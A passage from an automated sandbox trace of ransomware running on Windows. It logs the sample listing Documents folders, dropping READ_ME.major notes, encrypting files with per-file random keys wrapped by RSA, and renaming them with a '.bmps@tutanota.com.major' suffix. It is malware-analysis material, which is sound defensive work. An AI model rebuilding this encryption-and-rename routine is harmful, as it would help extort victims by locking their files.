nNumberOfBytesToWrite=0xee0b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xee0b, lpOverlapped=0x0) returned 1 [0155.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.739] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xee0b [0155.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.740] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="X8oCR9o9ujx8ya3xbFPQVAzCQRI64g5ucJYdqHIDfqmkNuSXSce/UybdMT6OfVhv\nm2QwES3RJNjgV/mtBiYYwhnRTjs58KWig/wuqDf/hym+6TpuwNBpGXcQ4ZtiPEhg\nE14RRPUuBrFlOZ01eAkqoqA7iMhy5FQ4DbKPnxxzMjZfcUU2MdJpzLAedQAi5kUC\nQjU6z2ZWRw45/PaXwcy1lxoYFAQzrCUCg1QLzcIZWiQeLAHKgrpzWnZtAvus61/m\nWU8b7Q4N8AJhFfaPOCF4CEjXVn7OHqmjF8J4tFglrDxn2xELJTDAeU6j4109Aq5a\nJTF6d2Qs788ob2U+240wUw==\n", pcchString=0x2e3f9a8) returned 1 [0155.740] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.740] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.740] CloseHandle (hObject=0x6b0) returned 1 [0155.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.740] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\cupDn\\6tEoR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\6teor.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\cupDn\\6tEoR.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\6teor.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0155.742] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e61c1a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16e61c1a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0155.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0155.742] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e61c1a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16e61c1a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0155.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0155.742] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x16e87e3e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6312c0 [0155.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0155.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0155.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631840 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631840 | out: hHeap=0x570000) returned 1 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.743] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x16e87e3e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] GetLastError () returned 0x5 [0155.743] SetLastError (dwErrCode=0x5) [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631540 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631540 | out: hHeap=0x570000) returned 1 [0155.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0155.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.744] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0155.744] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.744] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e87e3e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16e87e3e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e87e3e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.744] GetLastError () returned 0x5 [0155.744] SetLastError (dwErrCode=0x5) [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.745] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_private", cAlternateFileName="")) returned 1 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] GetLastError () returned 0x5 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] GetLastError () returned 0x5 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] GetLastError () returned 0x5 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] GetLastError () returned 0x5 [0155.745] SetLastError (dwErrCode=0x5) [0155.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0155.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0155.746] WriteFile (in: hFile=0x6b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.747] CloseHandle (hObject=0x6b4) returned 1 [0155.747] FindNextFileW (in: hFindFile=0x6312c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_private", cAlternateFileName="")) returned 0 [0155.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0155.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.747] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.747] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x80) returned 1 [0155.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0155.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0155.747] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0155.748] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0155.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d380 [0155.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2c0 [0155.748] ReadFile (in: hFile=0x6b4, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0155.748] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.748] WriteFile (in: hFile=0x6b4, lpBuffer=0x59d2c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0155.748] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0155.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.748] WriteFile (in: hFile=0x6b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gVQ0aWqxkMStde0QcMKJKZPqr4VC62LFTZ09/mrE2a6a5eGzpeHpxE2OGN3fdplo\nsAQxmF3W3nk73g2iJHET4q0kuQKA5KJY6kC0hIEIHMmo2WQLFtAY/w1I9lG0BAMK\nRfsa/ncZmScrMsUglB4wdavyqMfChGMT2JCQHl7b3mrWLdtCgMscBwdJIaArw/Bj\n/ocDC4MxPvmLzT6wFBZMzTzB2bB+tC4C4PZimOKfCBieCKDGYwHEbk+rxoEqg4nT\nIVgisJaykqEZ1C4gnSYwjaE9dBPqvQ8MpJ+fp9Nmhqtvor4mVGxfAe28wMGtL0k5\nBMpNHCjCp8GbKjIBSzK/ZA==\n", pcchString=0x2e3f9a8) returned 1 [0155.749] WriteFile (in: hFile=0x6b4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.749] WriteFile (in: hFile=0x6b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.749] CloseHandle (hObject=0x6b4) returned 1 [0155.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.749] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0155.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.751] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini", dwFileAttributes=0x80) returned 1 [0155.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0155.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.752] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0155.752] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=216) returned 1 [0155.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd8) returned 0x5a37b8 [0155.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd8) returned 0x5aa568 [0155.752] ReadFile (in: hFile=0x6b4, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd8, lpOverlapped=0x0) returned 1 [0155.753] SetFilePointer (in: 